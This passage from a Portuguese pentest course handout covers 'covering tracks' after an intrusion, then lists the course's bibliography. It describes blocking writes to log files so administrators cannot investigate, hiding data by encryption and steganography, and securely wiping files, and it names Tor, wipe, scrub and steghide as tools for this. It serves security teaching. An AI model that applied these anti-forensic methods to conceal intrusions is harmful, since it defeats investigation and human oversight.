Prevenção de criação de dados - É possível, através da alteração de permissãoem determinados arquivos, que novos dados sejam inseridos no mesmo, porexemplo. Podemos citar o caso de arquivos de log, que se tiver sua permis-são alterada para negar a possibilidade de escrita nos mesmo, nenhuma novaoperação será armazenada, e o administrador do sistema não poderá fazer averificação posterior para entender o que comprometeu o sistema ou a rede.

Encriptação de dados - A melhor maneira de ocultar um arquivo, para que nin-guém veja seu conteúdo, ou consiga alterá-lo, é encriptando-o, seja através deuma ferramenta específica de encriptação, seja ocultando o arquivo dentro deoutro, cuja extensão e conteúdo sejam diversos do original. Essa última técnicatambém pode ser chamada de esteganografia.

Deleção segura de dados - Essa técnica está diretamente vinculada com a pri-meira, de sobreescrita de dados. Todo e qualquer processo de deleção de

PenTest - Segurança Hacker Página 173

Linux Force – www.linuxforce.com.br Apagando Rastros

arquivos, deve ser cuidadoso, para que não seja possível a posterior recupera-ção das informações.

15.4 Ferramentas

Tor (The Onion Router) - O Tor mantém o usuário livre de bisbilhoteiros, inclusiveos do FBI e os da CIA, e impede (ou dificulta bastante) qualquer tipo de rastre-amento.

E é exatamente isso que o Tor oferece. Em vez de seguir uma rota direta en-tre origem e destino, toda a informação transmitida por ele segue um caminhorandômico, que se altera permanentemente, através de diversos servidores vo-luntários que cobrem a rota. Fica difícil para qualquer sistema saber quem vocêé, onde você está ou de onde veio, embora seja possível saber o que você estálevando consigo.

Wipe - Wipe é um aplicativo que permite a deleção segura de dados, permitindoque o usuário defina quais arquivos serão apagados e quantas vezes aquelesblocos de disco, onde os arquivos apagados estavam alocados, serão sobrees-critos. Quanto mais vezes se sobreescreve, mais difícil a posterior recuperaçãodos dados. Cada operação de sobreescrita deve ser realizada até o final, paraque o prorama seja completamente eficaz.

Scrub - Outra possibilidade para realizar o “data wiping”, sobrescrevendo os dadosdeletados com um padrão determinado de informações, que podem ou não serremovidas no final da informação. Se não forem removidas, o perito forenseencontrará apenas “lixo digital” nos blocos do disco, sem qualquer coerência.

Steghide - Steghide é um programa de esteganografia que é capaz de esconderdados em vários tipos de arquivos de áudio e de imagem. As frequências desom e de cor, respectivamente, não são alteradas tornando o arquivo resistentecontra testes estatísticos de primeira ordem. Formatos de arquivos JPEG, BMP,WAV e AU são suportados para uso como arquivo de "cobertura". Não há res-trições sobre o formato dos dados secretos. O algoritmo de criptografia padrãoé o Rijndael com uma chave de 128 bits de comprimento (que é AES - Advan-ced Encryption Standard). Se você não confia nesta combinação por qualquerrazão, sinta-se à vontade para escolher outra combinação modo/algoritmo.

PenTest - Segurança Hacker Página 174

16 Referências Bibliográficas

Todo material sobre IPV6 foi extraido de:

Apostila IPV6 Básico - rev. 2012.07.22-01

Autores:

• Antonio Marcos Moreiras

• Edwin Santos Cordeiro

• Rodrigo Regis dos Santos

• Alexandre Yukio Harano

• Eduardo Barasal Morales

• Heitor de Souza Ganzelli

• Tiago Jun Nakamura

• Rodrigo Mattos Carnier

• Tuany Tabosa

Fornecido pelo NIC.br através do site http://www.ipv6.br

Utilizamos o OWASP TOP 10 2007 Traduzido para Português por:

• Cleber Brandão “Clebeer” - Analista de Controle de Qualidade - BRconnection

• Fabricio Ataides Braz

• Leonardo Cavallari Militelli – Especialista de Segurança - E-val Tecnologia

Linux Force – www.linuxforce.com.br Referências Bibliográficas

• Marcos Aurélio Rodrigues - Analista Segurança - BRconnection

• Myke Hamada

• Rodrigo Montoro “Sp0oKer” - Analista Segurança - BRconnection

Disponivel para download em:

http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf

Sites pesquisados:

http://pt.wikipedia.org

http://tools.ietf.org

http://www.ipv6.br

http://www.torproject.org

http://www.openwall.com

http://www.ethicalhacker.net

http://www.owasp.org

http://cve.mitre.org

http://www.segurancaremota.com.br

PenTest - Segurança Hacker Página 176